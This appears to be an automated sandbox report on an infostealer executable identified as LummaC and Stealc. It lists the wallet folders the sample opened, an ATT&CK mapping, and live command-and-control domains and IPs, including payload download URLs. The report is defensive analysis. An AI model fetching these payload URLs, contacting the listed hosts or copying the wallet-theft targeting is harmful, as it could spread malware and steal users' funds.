Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1670110367.0000000001180000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1694671720.0000000001180000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1669751596.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hBBxlxfQ3F.exe PID: 2000, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: hBBxlxfQ3F.exe PID: 2000, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1948043749.0000000000B01000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1907561386.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ODUPR5K9IIA1563VE194RM.exe PID: 6624, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
hBBxlxfQ3F.exe	53%	ReversingLabs	Win32.Trojan.Symmi
hBBxlxfQ3F.exe	100%	Avira	TR/Crypt.XPACK.Gen
hBBxlxfQ3F.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
discokeyus.lat	172.67.197.170	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://discokeyus.lat/apis2	hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000117A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/chrome_newtab	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/U	hBBxlxfQ3F.exe, 00000000.00000003.1710994330.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711131211.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745243457.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1837793521.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1837869857.0000000005AE4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpg	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/zl	hBBxlxfQ3F.exe, 00000000.00000003.1745206204.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/3Pt	hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001143000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/4Zk4	hBBxlxfQ3F.exe, 00000000.00000003.1638116233.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1637748683.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe?	hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206j	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe	hBBxlxfQ3F.exe, hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838804500.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/&P	hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001143000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/apiiwEhI	hBBxlxfQ3F.exe, 00000000.00000003.1638116233.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1637748683.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	hBBxlxfQ3F.exe, 00000000.00000003.1837793521.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1837869857.0000000005AE4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php?	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.micro	hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745014247.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694671720.0000000001180000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apiMc	hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16:80/steam/random.exePROFILE=C:	hBBxlxfQ3F.exe, 00000000.00000003.1837959600.0000000001143000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/0	hBBxlxfQ3F.exe, 00000000.00000003.1609649924.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/	hBBxlxfQ3F.exe, hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001143000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1611057335.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1693146822.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1610739182.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/.	hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001159000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000115B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe7	hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838804500.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/apiure	hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1744945514.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838287760.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpO	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838287760.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat:443/api	hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpN	ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.197.170	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578990
Start date and time:	2024-12-20 17:27:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hBBxlxfQ3F.exe renamed because original name is a hash value
Original Sample Name:	0cc471c7099d858cc1e17ea0cbb7667a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ODUPR5K9IIA1563VE194RM.exe, PID 6624 because there are no executed function
Execution Graph export aborted for target hBBxlxfQ3F.exe, PID 2000 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
